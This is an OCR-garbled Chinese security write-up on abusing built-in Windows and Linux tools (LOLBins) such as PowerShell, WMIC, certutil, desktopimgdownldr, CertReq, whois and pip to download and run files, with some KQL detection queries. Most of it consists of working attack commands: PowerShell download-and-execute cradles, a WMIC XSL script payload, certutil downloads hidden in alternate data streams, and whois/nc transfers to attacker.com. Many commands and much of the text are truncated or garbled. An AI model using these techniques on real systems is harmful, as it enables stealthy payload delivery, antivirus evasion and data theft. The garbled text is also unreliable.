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PowerShell:

Windows PowerShell @—fap 21T/ SIZ2R AR
15, Fa<THEFPHTMAREE A UFA.
NETFramework B3R AINEE,

ERSHE LIRE—TTITITEZRE ps B,

TR THAS:

(New-Object Net.WebClient).DownloadString("http://xx.>

W2 T & & PiTH<L

Invoke-Expression (New-Object
Net.WebClient).DownloadString("http://xxx.xx.xx.xx/tes
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RS 23 EImFERN xsl X4

<?7xml version='1.0'?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://vwww. . Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts"=

<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()

set shell=createobject("wscript.shell")

shell.run "calc.exe",0

myFunction = @
end function

</msxsl:script>

<xsl:template match="/">

<xsl:value-of select="user:myFunction()"/>
</xsl:template>

</xsl:stylesheets]

miz FERITeS:

os get /format:"http://xx.xx.xx.xxx/test2.xsl"



L

wmic.exe process call create "C:\\Windows\\system32\\f

\\\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVet
Execution

Options\\test.exe\\" /v \\"Debugger\\" /t REG_SZ /d \
/
_F‘ll

SALE ZBILER X T XX wmic BITEFEE. . .
CertUtil

CertUtil.exe 2 Microsoft A FAIEIEBMANM
(CA) BURFIAMMEEREGSITLIE., XSERIREP
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C:\Windows\System32\certutil.exe

C:\Windows\SysWOW64\certutil.exe

TEHe:

certutil.exe -urlcache -f UrlAddress Output-File-Name.



sWindowsssystem32>certutil -—uwrlcache —f http:- -118. ‘test.psl 123 .txy

Online s
ertlUtil: -URLCache command completed successfully.

w2 TEFHIRME ADS BUERS:

certutil.exe -urlcache -split -f https://xx.xx.xx.xx/>

PS C:\> certutil.exe -urlcache -split -f http://118. /test.psl c:\temp:ttt

xxxx Qnline »ex
CertUtil: -URLCache command completed successfully.

C:\>dir /r temp
Uolume in drive C has no label.
Uolume Serial Number is D2BC-F482

Directory of C:\

08/25/2020 05:31 PH 0 temp
6 temp:ttt:$DATA
1 File(s) 8 bytes
0 Diri(s) 28,367,773,696 bytes free

T

I~

T
|

ﬁE%ﬁEBﬁaﬁb—%ﬁEjﬁ%i& AV,EDRT \%Uo o o

~

<



O [ == =
2020/8/25 15:33

(O EEIRIE RS HIT, B A=ELE,

HaE: SR

SRR Trojan:Win32/5quibda.A
FrATEIREE RS LOLbin RITRIINEIAZTIK
HHA: 2020/8/25 15:33
R z=m mEErg
HEAES: X TEFRER, MBERTEENEES

SRS LOLBIN
TEESES

Desktopimgdownldr.exe If&E
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CmdLine: Ch\Windows\System32ywhbemWMIC.exe
os aet fformat:htto://118. ftest2 sl

Personalization CSP
06/26/2017 » 2 minutes to read - N @G P @ @ +5

The Personalization CSP can set the lock screen and desktop background images. Setting these policies also
prevents the user from changing the image. You can also use the Personalization settings in a provisioning

package.

This CSP was added in Windows 10, version 1703.

@ Note

Personalization CSP is supported in Windows 10 Enterprise and Education SKUs. It works in Windows 10 Pro
and Windows 10 Pro in S mode if SetEduPolicies in SharedPC CSP is set.

BFURSERIT CSP, IBARREIEE.
C:\Windows\Personalization
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C:\windows\Personalization\LockScreenImage\LockScreen]

Desktopimgdownldr ZRIAFE:

desktopimgdownldr /lockscreenurl:https://domain.com: 8¢
eventName: randomname
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BERIET, BXHRREABERFHENESEIR,
AERGEMER, BMNFB2REIMEMER, BEREEFS

B=.

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgc
/lockscreenurl: https://xx.xx.xx.xx/xxx.psl && reg del
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\
/f

EMREER:

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curreni

HF Z#HIX 4 desktopimgdownldr #HAY
FunctionSHExpandEnvironmentStringsW {# B &4R13

sk, PRUAFEEIEtheR(ERE, MEXFEMER.
%systemroot¥%\Personalization\LockScreenImage

BEERPEIT

set "SYSTEMROOT=C:\Windows\Temp" &% cmd /c desktopimgc
/lockscreenurl: https://xx.xx.xx.xx/xxx.psl /eventName
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C:\Windows\system32>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.psl /eventName

L FHoES (C) Windows Personalization LockScreenimage

=14

. B LockScreenimage I2YUdGelEUiA0BSzVFoUhQ.ps1

=53 Bt =

""E(,WLJ | REG 57 (EEEE)
2t LockScreenimagePath REG_SZ CAWi

-_|zYUdGelEViAoBSzVFoUhQ.ps1
#5|LockScreenimagesStatus REG_DWORD 0x00000001 (1)
9 |

WM EIIMBEFERT COM + SEMBEZE., ANBHRT
%systemroot% HRERSHRXHHKAZE.

mklink /J "%TEMP%\Registration" C:\windows\Registratic
"SYSTEMROOT=XTEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eveni
rmdir /s /q "%TEMP%\Registration"
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Local > Temp

enimage DHIYRSWH2Umt

5k desktopimgdownldr L& B EAIMEZTRE.
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Tims of Day Frocess Name FID Operation Path

B Process Monitor Filter x

Display entries matching these conditions:

Architecture ~|lis ~ ~ | then |Indude

Reset Add

Cancel Ap)




indows\Systends
dows \Systemd;
f——

tem22

356 28 Load Imase \Findows\$ystend?\OnDenandConnRoutelfelper. dl11
356 J4 ICP Connsct  DESKTOP-VRUPZEG. Locldemain:49800 —> 11
356 4% 1CF Send DESKIOF-VRUFZEG. Localdonain 48800 => 115
336 44 TCF Receive  DESKTOP-VRMPZEG. localdomain:49800 — 115

Windows\Systend?\mpr. 411
DESKIOF-VRUFZEG. Localdonain 49800 =5 118
DESKTOP-VRMPZEG. Localdonain 49800 — 115

&
FeTr
&

H

1320 J4UDP Receive DESKTOP-VRUPOEC. locsldomain:B5120 —> 192
356 b TCP Send DESKTOP-VRMPZEG. locsldomain:49300 -> 118.
356 4h TCP Receive  DESKTOP-VRMPZEG. localdomain:48800 > 118..

¢
356 4k TCP Send DESKTOP-VRMP2EG. localdomain:49900 —> 118,
356 44 TCP Receive  DESKTOP-VRMPZEG. localdomain:49300 -> 118,

wireshark IRER tcp RIEE.

B8, LR svchost:

success
suecsss
suecess

success
suecss
svecess
succss
success
svecess
svccess
success
success
svecess

Length:

Lensth.

212

32,
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HEAD ftest.psl HTTP/1.1
Connection: Keep-Alive

R cept: =/
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8

75 "SoEimidfy o

HTTP/1.1 288 OK

54 am aa

Event| where Source == "Microsoft-Windows-Sysmon"| whe
has "desktopimgdownldr.exe"| extend a = parse_xml(Ever
CommandLine =
tostring(parse_json(tostring(parse_json(tostring(parse
project TimeGenerated, CommandLine, Computer, EventDai
UserName

| sort by TimeGenerated desc
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Content-Type: application/octet-stream

Celf‘ttﬂgq-Length: 6
Last-Modified: Tue, 25 Aug 2020 06:30:02 GMT
Connection: keep-alive
Adag: "5fd4afea-6"

IjJ'i’Ecept—Ranges: bytes
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certreq

10/16/2017 - 19 minutes toread - $ @@ @ & +5

The certreq command can be used to request certificates from a certification authority (CA), to retrieve a

response to a previous request from a CA, to create a new request from an .inf file, to accept and install a
wresponse to a request, to construct a cross-certification or qualified subordination request from an existing CA
}Eﬁ 7 ertificate or request, and to sign a cross-certification or qualified subordination request

@ Important

== .
J:'fglﬁrﬁasions of the certreq command might not provide all of the options described here. To see the
options supported based on specific versions of certreq, run the command-line help option, certreq -v -?.

A

CertReq -Post -config https://example.org/ c:\windows®

T# POST &K, HETRE XIFHTTP S
HTTPS)

CertReq -Post -config https://example.org/ c:\windows®

T# POST 53K, FRFEIARM (35 HTTP 5
HTTPS)

CertReq -Post -config https://example.org/ c:\windows®

Debug
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IEREREERS

€% SAEWET 20, 0xB0070216 (WIN3Z: 534
ERROR_ARITHMETIC_OVERFLOW)

=]

FE 0

£ sysmon R EHTIRIZE AN json BB
Event| where Source == "Microsoft-Windows-Sysmon" and
"OriginalFileName: CertReq.exe"| extend EventFullData
parse EventData with * 'OriginalFileName">'OriginalFil
parse EventData with * 'CommandLine">'Commandline '</I
TimeGenerated, OriginalFileName, Commandline, Computet

EventFullData

| sort by TimeGenerated desc
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nc -1 -p 12345 < "file_to_send"

FEAL

RHOST=attacker.com

RPORT=12345

LFILE=file_to_save

whois -h $RHOST -p $RPORT > "$LFILE"

S RHOST=192
S RPORT=12345
S LFILE=123.py

S whois -h SRHOST -p SRPORT "'cat SLFILE™"
print('Hello world')

EEMAERIE G, 1T base64 IR

base64 "file_to_send" | nc -1 -p 12345
RHOST=attacker.com

RPORT=12345

LFILE=file_to_save

whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"

PIP &

FA php install SR F&E 1,

export URL=http:

export LFILE=/tmp/file_to_save

TF=$(mktemp -d)

echo "import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request
else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF



S export URL=http://118. /test.psi1

S export LFILE=/tmp/123

S TF= $(mktemp -d)

$ echo 1mport sys; from os import environ as e
> if sys.version_info.major == 3: import urllib.request as r
> else: import urllib as r
> r. urlretrleve(e[ "URL"], e["LFILE"])' > STF/setup.py

S p1p3 install STF
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